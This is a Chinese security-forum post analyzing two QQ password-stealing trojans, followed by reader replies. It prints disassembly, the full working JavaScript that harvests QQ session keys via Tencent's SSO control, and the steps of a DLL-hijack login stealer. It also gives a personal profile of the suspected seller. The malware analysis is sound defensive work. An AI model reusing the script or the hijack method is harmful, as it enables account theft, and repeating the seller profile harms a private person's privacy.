两款“qq粘虫”木马分析
本帖最后由 Hyabcd 于 2016-4-7 19:00 编辑一、样本简介
样本来源: http://www.52pojie.cn/thread-480487-1-1.html
http://www.52pojie.cn/thread-471184-1-1.html
“qq粘虫”木马是一款以盗取qq密码为主要目的的木马程序。在2011年左右最先被发现,由于具有相当强的免杀能力被一些人称为“毒王”。“qq粘虫”的主要特点就是功能专一性极高,只进行盗号工作而不涉及其他方面,因此无法捕捉到注册表操作或者文件操作。除此之外,“qq粘虫”盗号的方式极为精巧和简洁,只通过发送数据包的方式进行盗取密码的发送,和普通的可联网的软件没有差别。近来,“qq粘虫”呈现爆发趋势,利用“白加黑”等方式的变种也出现在人们的视野中,本文章将对最近出现的几款“qq粘虫”进行分析。
本文分析的两个样本代表两种不同的“qq粘虫”----1.盗取qq key的”qq粘虫“;2.利用”白加黑“方式的定向”qq粘虫“。如今,”qq粘虫“的易语言源码已经开源,更多的黑产从业者利用这一机会对”qq粘虫“进行改造,本文分析的”qq粘虫“基本基于相同的易语言框架。
二、样本分析
(一)盗取qq key的”qq粘虫“分析
样本来源: http://www.52pojie.cn/thread-480487-1-1.html
样本名称: 123.exe
壳信息:无壳
该样本来自于个人作者而非黑产团伙,因此框架中的许多部分被删除,只保留两部分用来进行盗取工作,一部分用于创建伪造的qq窗口(可能为老框架下保留的功能),另一部分就是qq key的盗取部分。如下图所示。
在伪造窗口函数中运用相应的资源进行窗口的绘制,绘制出的伪造窗口如下图所示。
由于”qq粘虫“使用伪造窗口进行盗号是基于用户已经登陆qq的情况下,因此作者除了进行伪造窗口之外还进行qq key的盗取。qq key是qq一个不固定的密码,也被称为qq的另一个密码,拥有qq key可以登录相应qq的邮箱,空间等个人空间,也可以利用qq key进行好友获取,qq群管理等。一些qq批量管理软件就是利用qq key进行操作,因此qq key也被盗号者重点关注。
盗取qq key的主要流程如下。
首先进行COM组件的初始化,便于过后调用。
004020E5|.51 push ecx
004020E6|.68 78B04700 push 123.0047B078
004020EB|.6A 17 push 0x17
004020ED|.8D55 DC lea edx,
004020F0|.6A 00 push 0x0
004020F2|.52 push edx
004020F3|.FFD7 call edi ;ole32.CoCreateInstance; <&ole32.CoCreateInstance>
然后初始化空间宿主代码
0041BD51 .E8 DAFFFFFF call 123.0041BD30
0041BD56 .83C4 04 add esp,0x4
0041BD59 .- FFE0 jmp eax ;atl.AtlAxWinInit
创建基于atl模版类的窗口,窗口可用于承载IE的相关组件的操作。如下图所示。
利用IE的webbrowser组件对一些相关的类进行初始化,类名包括silent,readystate等等,可以判断这些类用来指示某个状态。并根据类的不同执行不同功能。
00402857|.FF11 call dword ptr ds: ;CUnkInner::QueryInterface:
00402859|.85C0 test eax,eax
0040285B|.7D 0C jge short 123.00402869
0040285D|.C745 FC FEFFF>mov ,-0x2
00402864|.E9 D6080000 jmp 123.0040313F
00402869|>FF15 34234700 call dword ptr ds:[<&KERNEL32.GetUserDef>; [GetUserDefaultLCID
0040286F|.8BD8 mov ebx,eax
00402871|.8B45 EC mov eax,
00402874|.8D55 F8 lea edx,
00402877|.895D AC mov ,ebx
0040287A|.8B08 mov ecx,dword ptr ds: ;shdocvw.7E55D980
0040287C|.52 push edx
0040287D|.53 push ebx
0040287E|.56 push esi
0040287F|.50 push eax
00402880|.FF51 10 call dword ptr ds: ;CWebBrowserOC::GetTypeInfo:
利用webbrowser组件执行Javascript代码。
00402FF2|.68 D8B04700 push 123.0047B0D8
00402FF7|.52 push edx
00402FF8|.50 push eax
00402FF9|.FF51 18 call dword ptr ds: ;CWebBrowserOC::Invoke:
javascript代码如下。
document.body.innerHTML=GetuinKey();..
function GetuinKey(){
var text="";var q_hummerQtrl=null;var g_vOptData=null;
if(window.ActiveXObject)
{try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");
var A=q_hummerQtrl.CreateTXSSOData();
q_hummerQtrl.InitSSOFPTCtrl(0,A);
g_vOptData=q_hummerQtrl.CreateTXSSOData();
var a=q_hummerQtrl.DoOperation(1,g_vOptData);
var V=a.GetArray("PTALIST");
var f=V.GetSize();
var H=$("list_uin");
for(var g=0;g<f;g++)
{
var E=V.GetData(g);
var P=E.GetDWord("dwSSO_Account_dwAccountUin");
var U=E.GetStr("strSSO_Account_strNickName");
var G=E.GetBuf("bufST_PTLOGIN");
var A=G.GetSize();var N="";
for(var Y=0;Y<A;Y++)
{var B=G.GetAt(Y).toString("16");if(B.length==1){B="0"+B};N+=B};text+=P+'|'+U+'|'+N+';'}}catch(b){}};return text};
这段javascript代码的作用就是获得已登录qq的号码以及相应的key。为何jiavascript可以获取本地的qq号码和qqkey呢?我们发现这个链接http://xui.ptlogin2.qq.com/cgi-bin/qlogin可以显示当前已登录的用户,而在这个网页中就存在一个用于获取这些信息的js脚本,木马程序中的js脚本也是效仿该脚本实现的,是利用了异构系统单点登录 SSO(single-sign-on)技术,见http://www.360doc.com/content/13/1018/17/6692427_322396952.shtml
利用js脚本获取到的包含qq号和qqkey的数据如下所示。
将获取的数据用smtp协议发送到指定邮箱。
00401241|.68 8E404700 |push 123.0047408E ;\r\nkey收信提示
00401246|.8B5D EC |mov ebx,
00401249|.FF33 |push dword ptr ds:
0040124B|.68 9C404700 |push 123.0047409C ;\r\nQQkey:
00401250|.8B5D F0 |mov ebx,
00401253|.FF33 |push dword ptr ds:
00401255|.68 A6404700 |push 123.004740A6 ;\r\n昵称:
0040125A|.8B5D F4 |mov ebx, ;kernel32.7C839AC0
0040125D|.FF33 |push dword ptr ds:
0040125F|.68 AE404700 |push 123.004740AE ;QQ号码:
00401264|.B9 07000000 |mov ecx,0x7
00401269|.E8 21FEFFFF |call 123.0040108F
以上就是盗取qq key的”qq粘虫“的简单分析,可以看出,该木马通过COM组件利用webbrowser接口执行特定的javascript来获取qqkey,当一个正当获取已登录qq状态的方法被恶意使用时就成了盗号的帮手。在数据的发送方式上除了使用smtp协议发送邮件的方式外还可以使用普通的http协议发包,一般情况下,黑产团伙倾向于后者,而个人作者倾向于前者。
(二)利用”白加黑“方式的定向”qq粘虫“分析
样本来源: http://www.52pojie.cn/thread-471184-1-1.html
样本名称: 关键词.exe
壳信息:Themida 1.x-2.x
该木马是一款定向攻击的木马,专门针对淘宝商家。该木马伪装成刷单的关键词,实际上是一个盗取qq号的”qq粘虫“。在作用方式上,该木马区别于之前其他的”qq粘虫“,利用”白加黑“的方式,劫持qt语言的相关对话框处理的dll,当用户打开qt语音的登录框之后,输入的帐号和密码将被木马捕获发送到指定地址。以下将对该”qq粘虫“进行分析。
木马的前半部分依然保留老版粘虫的特点,创建一个伪造的窗口。不过这些功能都没有在这个版本中实现,可能是作者利用老版框架时没有删去相关代码。从文件中可以发现一些gdi创建窗口的相关函数。
而从文件中可以提取到一些敏感图片如下所示。
由此可以看出,该程序依然保留老版伪造窗口的特性,只不过在这个版本并没有启用,却而代之的是利用dll劫持的方式进行盗号操作。
程序在c盘中释放XDS27ELP.ini,主要功能由它来执行,其实这个ini文件的本质是dll,主程序将对它进行动态调用。
打开注册表键HKLM\SOFTWARE\Tencent\QT,判断计算机中是否存在qt语音。
029CDFE1 52 push edx
029CDFE2 68 19000200 push 0x20019
029CDFE7 57 push edi
029CDFE8 50 push eax ;SOFTWARE\Tencent\QT
029CDFE9 51 push ecx;HKLM
029CDFEA FF15 0C60A502 call dword ptr ds:[<&ADVAPI32.RegOpenKey>; advapi32.RegOpenKeyExA
查看该键isntall键,判断qt语音是否已经安装。如果已经安装,则读该键键值获得安装路径。
029CE00D 52 push edx
029CE00E 8B5424 14 mov edx,dword ptr ss:
029CE012 57 push edi
029CE013 50 push eax
029CE014 57 push edi
029CE015 51 push ecx ;”install“
029CE016 52 push edx
029CE017 89BC24 9C000000 mov dword ptr ss:,edi
029CE01E FFD3 call ebx ; advapi32.RegQueryValueExA
获得安装路径后,将路径下的DataReport.dll修改为以old+随机数为名的文件,并用自身(XDS27ELP.ini)替换旧的dll。
029CCD39 51 push ecx ;修改后的路径和名称
029CCD3A 52 push edx ;DataReport.dll路径
029CCD3B FF15 6063A502 call dword ptr ds:[<&KERNEL32.MoveFileA>>; kernel32.MoveFileA
029CCD39 51 push ecx ;DataReport.dll路径
029CCD3A 52 push edx ;自身路径
029CCD3B FF15 6063A502 call dword ptr ds:[<&KERNEL32.MoveFileA>>; kernel32.MoveFileA
在伪造的dll中,无关的导出函数已经被清空,只保留一些与登录相关的函数。
由于qt的登录操作需要该dll,因此帐号密码的输入也被定向到该dll中。dll调用GetWindowText获取输入框的内容,从而窃取到用户帐号和密码。
然后将帐号和密码发送到指定服务器。
最后打开写字板,显示一些刷单信息,让受害者信以为真。
通过对该域名的whois查询可得知木马持有者qq号码。
通过查找群关系可以得知该号码主人来自福建省漳州市云霄县。除了此号码外总共有三个号码进行木马销售,其中有一个号码是通过盗号所得。
通过深入调查得知木马持有者姓名为朱某荣,酷爱重型机车,在贴吧上频繁进行重型机车的交易请求,活动范围在福建漳州,可能为某茶艺学校13级毕业生。下图为他的腾讯微博。
而从网上的信息可以看出该作者已经实施过多起盗号诈骗,目标都是淘宝卖家。可以看出这是个小型的黑产团伙。
三、总结及相关防范
”qq粘虫“木马由于作用简单,功能专一,隐蔽性高,对系统敏感函数没有进行调用,因此容易被杀软忽视。为了防止”qq粘虫“盗取帐号密码,最好的方法是增强自身的防范意识,对于以exe为后缀,冠以诸如某某清单,某某价格表之类的伪造文件应该加以防范而不能随意双击,若文件类型被隐藏可通过修改文件夹选项中相应内容(如图)来得知真实的文件类型。
四、后续
qq粘虫专杀工具已完成,专门针对传统版本伪造qq登陆窗口的qq粘虫。附件密码:52pojie
Hyabcd 发表于 2016-4-3 22:06
像这种盗取qq key的也是很难解决,因为TX那边也需要这样来获取号码的登陆情况,只能说以后遇到相关的行为 ...
这大概也是tx在用户体验与突破沙箱及安全考虑上的平衡吧。。。。。
话说,Chrome和Firefox不是放弃古老的NPAPI以及XPCOM了吗(Chrome45后彻底永久放弃),那篇文章是不是有点过时了。。。?
在Chrom45以下进入chrome://plugins/,可见到:
Tencent SSO Platform - 版本: 1.0.1.16
QQ QuickLogin Helper
名字: Tencent SSO Platform
说明: QQ QuickLogin Helper
版本: 1.0.1.16
位置: C:\Program Files (x86)\Common Files\Tencent\TXSSO\1.2.4.1\Bin\npSSOAxCtrlForPTLogin.dll
类型: NPAPI
MIME 类型:
MIME 类型 说明 文件扩展名
application/nptxsso TXSSO
Chrome46输入chrome://plugins/,在我的Win10下只有这几项:Widevine Content Decryption Module - 版本: 1.4.8.824类型: PPAPI(进程外插件)Native Client
类型: PPAPI(进程中插件)
Adobe Flash Player - 版本: 20.0.0.286
Shockwave Flash 20.0 r0
类型: PPAPI(进程外插件)
Chrome PDF Viewer (2 files)
类型: 浏览器插件
类型: PPAPI(进程外插件)
还没仔细看TX的代码,不太清楚是如何在46以上绕开沙箱正常使用自动登陆的
也许Chrome、FireFox、Edge在技术上的推动也可以一定程度上缓解这个问题吧
粘虫应该会紧跟利用TX绕开沙箱的举措,技术上的推进可能只是会让当前开源的粘虫版本失效吧。问题的来源与解决还是要看TX了
呃。。。毕竟在这方面是小白,难免扯错。。。
dingk 发表于 2016-4-15 10:13
分析的很好啊,我去年写过特征码去拦截这个了。但是最近有混淆过的JS还在流行,总也查杀不净,不知你可有建 ...
感觉混淆js盗取qqkey不是很好处理,,因为腾讯那边也有好多软件在用相同的方法获取qqkey,如果按这特征容易误报,我感觉这一类的基本用易语言写的,暂时还没发现其他的,如果对调用这方法的软件进行甄别,看是不是存在易语言的特征,如果是的话进行查杀。我能想到的就这了,感觉也不是很好。 不明觉厉{:1_921:} 分析很详细容易看懂 感谢分享,学习了 看不懂。。。。。 感觉然并卵 火前留名 功能少比较难查 好详细的分析,值得赞一个 谢谢楼主分享,学习长知识了